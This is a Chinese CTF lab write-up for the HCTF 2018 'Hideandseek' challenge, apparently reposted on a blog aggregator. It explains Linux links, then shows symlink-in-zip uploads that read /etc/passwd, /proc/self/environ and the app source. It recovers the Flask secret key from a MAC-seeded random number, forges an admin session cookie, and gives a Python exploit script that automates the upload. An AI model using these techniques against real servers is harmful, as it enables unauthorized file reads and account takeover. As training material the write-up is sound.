BUU [HCTF 2018]Hideandseek

news2024/11/26 13:39:07

BUU [HCTF 2018]Hideandseek

考点:

  1. 软连接读取任意文件
  2. Flask伪造session
  3. /proc/self/environ文件获取当前进程的环境变量列表
  4. random.seed()生成的伪随机数种子
  5. MAC地址(存放在/sys/class/net/eth0/address文件)

国赛的时候遇见过软连接,这次再来学习一下,也算是一个心病了。

先介绍一下什么是软连接。


Linux中包括两种链接:硬链接(Hard Link)软链接(Soft Link),软链接又称为符号链接(Symbolic link)。

【硬连接】
硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止“误删”的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。

image-20230904233324632

【软连接】
软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是:当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令 链接(link)就可以,不必重复的占用磁盘空间。

[索引节点(inode)]

要了解链接,我们首先得了解一个概念,叫索引节点(inode)。在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,我们可以将inode简单理解成一个指针,它永远指向本文件的具体存储位置。文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存在,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。


软连接用法:

创建软链接

ln -s [源文件或目录] [目标文件或目录]

//当前路径创建test 引向/var/www/test 文件夹 
ln –s  /var/www/test  test

//创建/var/test 引向/var/www/test 文件夹 
ln –s  /var/www/test   /var/test

删除软链接

//删除test
rm –rf test

修改软链接

ln –snf [新的源文件或目录] [目标文件或目录]

这将会修改原有的链接地址为新的地址

//创建一个软链接
ln –s /var/www/test /var/test

//修改指向的新路径
ln –snf /var/www/test1 /var/test

常用参数:

-f : 链结时先将与 dist 同档名的档案删除
-d : 允许系统管理者硬链结自己的目录
-i : 在删除与 dist 同档名的档案时先进行询问
-n : 在进行软连结时,将 dist 视为一般的档案
-s : 进行软链结(symbolic link)
-v : 在连结之前显示其档名
-b : 将在链结时会被覆写或删除的档案进行备份
-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾
-V METHOD : 指定备份的方式
–help : 显示辅助说明
–version : 显示版本


开始做题。

image-20230904235831283

当前页面只有登录一个功能可以用,其他都不会跳转。尝试登录。

发现任意用户密码均可登录,但是唯独不能登录admin。

image-20230905000046680

登录后有一个上传文件点。提示我们上传.zip后缀的压缩包。

image-20230905000029173

随便上传一个.php试试水,发现只能上传.zip压缩包。

image-20230905000610108

压缩包很容易让人想到软连接,尝试先随便上传一个.zip压缩包。没有任何回显。

image-20230905113628143

然后上传一个内容为软连接的压缩包,尝试读取/etc/passwd文件。

linux中输入命令制作软连接压缩包。

ln -s /etc/passwd passwd
zip -y passwd.zip passwd

rm –rf passwd

image-20230905114442570

然后上传,发现成功回显服务端/etc/passwd的内容。

image-20230905115301828

那理论上来说,我们也能直接读取/flag的内容。但是尝试了一下却失败了。。。

猜测可能是权限不足,需要以admin身份登录才能有权限读取/flag。如何登录admin,信息搜集一下发现了session,服务端应该是通过session判断身份的,我们需要伪造session。同时,通过session判断出使用了flask的框架。

image-20230905115550975

下载一个工具flask_unsign,文件夹内开终端。工具只能解密爆破不出密码,只能自己找了。

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'

得到{'username': '111'}

image-20230905115942110

伪造session需要secret_key,尝试找一下源码。

因为已经通过软连接读取任意文件,我们尝试读取/proc/self/environ文件,以获取当前进程的环境变量列表,包括flask下的环境变量。
解释以下,其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而/environ是当前进程的环境变量列表。

ln -s /proc/self/environ self
zip -y self.zip self

rm –rf self

成功读取/proc/self/environ文件后。

image-20230905121847888

我们注意到UWSGI_INI=/app/uwsgi.ini。也就是uwsgi服务器的配置文件,其中可能包含有源码路径。

client —> nginx —> uwsgi --> flask后台程序 (生产上一般都用这个流程)

我们以同样的方式制作软连接读取

ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi

rm –rf uwsgi

image-20230905121928718

得到源码路径,但是BUU环境有问题,这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,我们也以这个路径来做题,继续软连接读取源码。

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main

rm –rf main

Ctrl+U看得更加清楚一点。

image-20230905122141655

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

浏览源码,SECRET_KEY是由python的随机函数random()生成的,种子是uuid.getnode()。和PHP一样,python的random()函数也是伪随机数,只要我们知道了种子uuid.getnode()是多少,拿到随机数生成的密钥SECRET_KEY不是问题。

image-20230905123404478

python中uuid.getnode()方法以48正整数形式获取硬件地址,也就是服务器的MAC地址。

image-20230905122713947

现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。

查找到MAC地址存放在/sys/class/net/eth0/address文件中,软连接读取该文件:

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

rm –rf mac

也有其他方法找mac地址:
img

c6:1b:39:ac:ff:91c61b39acff91转十进制是217820234055569

image-20230905123426918

image-20230905124342582

本地跑一下密钥就出来。是76.9034879300039

image-20230905123740256

kali中flask_session_cookie_manager3工具文件夹下开终端。

python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

image-20230905123926670

成功登录admin账号,也不用再读取flag了,直接给了。

image-20230905124005684


找到一个软连接脚本:

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1023683.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

加州法案提议在州一级监管人工智能

加州高级立法者将于周三向州参议院提出一项新的人工智能 (AI) 法案,加强国家和全球监管快速发展技术的努力。 加州参议员斯科特表示,尽管国会多次尝试起草人工智能立法,但加州——硅谷的所在地,世界上大多数顶级人工智能公司都位于…

专治机器学习面试:机器学习各个算法的优缺点!

今天有朋友聊起来,机器学习算法繁多,各个算法有各个算法的特点。以及在不同场景下,不同算法模型能够发挥各自的优点。 今天呢,我把常见的、常用的算法模型进行了一个大概的总结。包括其分支以及各分支的优缺点。 涉及到的算法有…

欢迎参与体素大战活动!

全新的节目即将登陆 The Sandbox 直播流,我们希望你能成为其中的一员! 我们正在寻找 20 位 VoxEdit 艺术家来参与这场惊喜的直播活动,本次活动只需要屏幕共享即可。您将在快节奏的环境中进行创作,以竞争「最佳快速设计 Voxel 艺术…

Git学习笔记7

github上多人协助开发演示过程: 张三是项目作者。 李四是一个协同的用户。觉得项目不错,想增加一些功能。 clone与fork的区别: clone:任何人都可以下载作者的整个项目,但是非作者不能push到作者的项目里。&#xff…

【Java 基础篇】Java对象反序列化流详解

在Java编程中,对象序列化和反序列化是常见的操作,用于将对象转换为字节流以便于存储或传输,并从字节流中重新构建对象。本文将重点介绍对象反序列化流的用法和相关概念,帮助基础小白理解这一重要的主题。 什么是对象反序列化&…

javaee之黑马乐优商城4

商品规格与数据结构 下面来说一下数据库的设计与分析 其实对于spu这张表来说,大体设计还是比较好设计的 看一下下面这张图是一个产品的规格参数 上面主体就是一个规格参数,基本信息又是一个规格参数 这里就是涉及到了一个商品的具体信息,sku…

在时代的浪潮中实在前行!实在智能与浪潮通软全面开启战略合作

“新”潮涌动,浪花朵朵。近日,杭州实在智能科技有限公司与浪潮通用软件有限公司签署战略合作协议。双方将加快科研创新,扩大合作领域,共同开拓数智化市场,携手共赢。 浪潮通软平台软件与技术研究院总经理周祥国、实在智…

游戏使用脚本配置HTTP

在游戏世界中,使用脚本工具帮助优化游戏体验已经成为一种普遍现象。但是,是否需要结合代理IP来使用游戏脚本呢?本文将探讨游戏使用脚本时是否需要代理IP的利弊,并分享合规使用脚本的方法。 1. 提高账号安全性: - 通过…

知识图谱的搭建

知识图谱搭建最重要的核心在于对业务的理解以及对知识图谱本身的设计,这就类似于对于一个业务系统,数据库表的设计是至关重要的,而这种设计师根据业务及未来场景的变化预估不断探索得出的。 一个完整的知识图谱的构建包含以下几个步骤&#…

Spring 中的Aware接口有什么作用

文章目录 0.前言1.什么是Aware接口2.Aware接口的设计目的3.详解3.1. ApplicationContextAware我们举个例子来说明 3.2. BeanFactoryAware3.3. BeanNameAware3.4. ServletContextAware3.5. MessageSourceAware3.6. ResourceLoaderAware 4.参考文档 0.前言 背景: 最近…

Centos7完全离线环境安装Nvidia Tesla A100 40G显卡驱动(含CUDA Toolkit)和Anaconda3虚拟环境

公司一台完全离线环境的服务器刚装了Nvidia Tesla A100 40G显卡,自己摸索着将显卡驱动在完全离线环境下安装成功,这里记录一下。 一、下载Centos7适配的Nvidia Tesla A100 40G显卡驱动 在Nvidia官网下载Centos7适配的显卡驱动,CUDA Toolkit…

idea(第一次)启动项目,端口变成了8080

先上配置 server:port: 9569 spring:profiles:active: dev 该排查的问题也都没问题,重启idea也试过了,还是8080 解决办法:点击右侧的maven ,左上角的重新导入 reimport all maven projects 我又没有改动pom文件,居然还要点这…

玩机教程:阿里云无影云电脑怎么使用?

阿里云无影云电脑即无影云桌面,云电脑如何使用?云电脑购买后没有用户名和密码,先创建用户设置密码,才可以登录连接到云桌面。云桌面想要访问公网还需要开通互联网访问功能。阿里云百科来详细说下阿里云无影云电脑从购买、创建用户…

Android 13.0 SystemUI下拉状态栏背景增加高斯模糊背景

1.概述 在13.0的产品开发中,发现现在很多产品都是高斯模糊背景的,这种高斯模糊背景看起来效果很不错,产品开发需要SystemUI下拉状态栏背景也是高斯模糊背景,所以就要来实现下拉状态栏高斯模糊背景 2.SystemUI 下拉状态栏背景增加高斯模糊背景核心类 frameworks/base/pack…

python后端和前端通过websocket通讯发消息最小案例,十分钟看懂

前端和后端通过websocket实现发送消息案例,用于理解websocket,服务端可以主动给客户端发送消息,而且是长连接,比http效率高,因为http要不断地创建和销毁socket实例,导致压力很大。websocket一次创建&#x…

自定义类型:结构体----初学者笔记

目录 1. 结构体类型的声明 1.1 结构体类型的简单介绍和声明 1.1.1 结构的声明 1.1.2 特殊的声明 1.1.3 结构的自引用 2. 结构体变量的创建和初始化 3. 结构成员访问操作符 4. 结构体内存对⻬ 4.1 对齐规则 4.2 练习 4.2.1 练习1 4.2.2 练习2 4.3 为什么存在内存对…

知名IT网站博客园陷入绝境

我是卢松松,点点上面的头像,欢迎关注我哦! 博客园陷入生死存亡的绝境。 5月份知名IT开发者网站发布文章称“博客园网站遇到困难了:寻求捐助”,并开通了捐助渠道。4个月过去了,好像效果并不明显&#xff…

婚庆行业类软文怎么写?媒介盒子无偿分享

随着我国经济发展以及对婚礼品质要求的提升,结婚相关的市场发展愈发强劲,由于互联网发展的快速性,大部分新人选择通过网络获取结婚服务信息,所以线上成为婚庆公司的主要获客渠道。而软文营销就是婚庆公司提升品牌形象的主要方式&a…

AI写作工具,智能ai写作工具

在信息化时代,内容创作已经成为了许多行业的核心。从营销广告到新闻报道,从博客文章到学术论文,人们需要不断地产生高质量的文字内容。创作是一项耗时耗力的工作,需要丰富的知识和创造性思维。 AI写作工具,是一类基于人…

docker容器技术实战-3

08 docker 原生网络 原生网络:桥接模式 :生成虚拟网络对 host模式:容器和宿主机共享同一网络栈,不会新建虚拟网卡 none禁用网络:只用回环接口 自定义接口:内嵌dns解析 不同网络之间是被隔离的,默认不能通…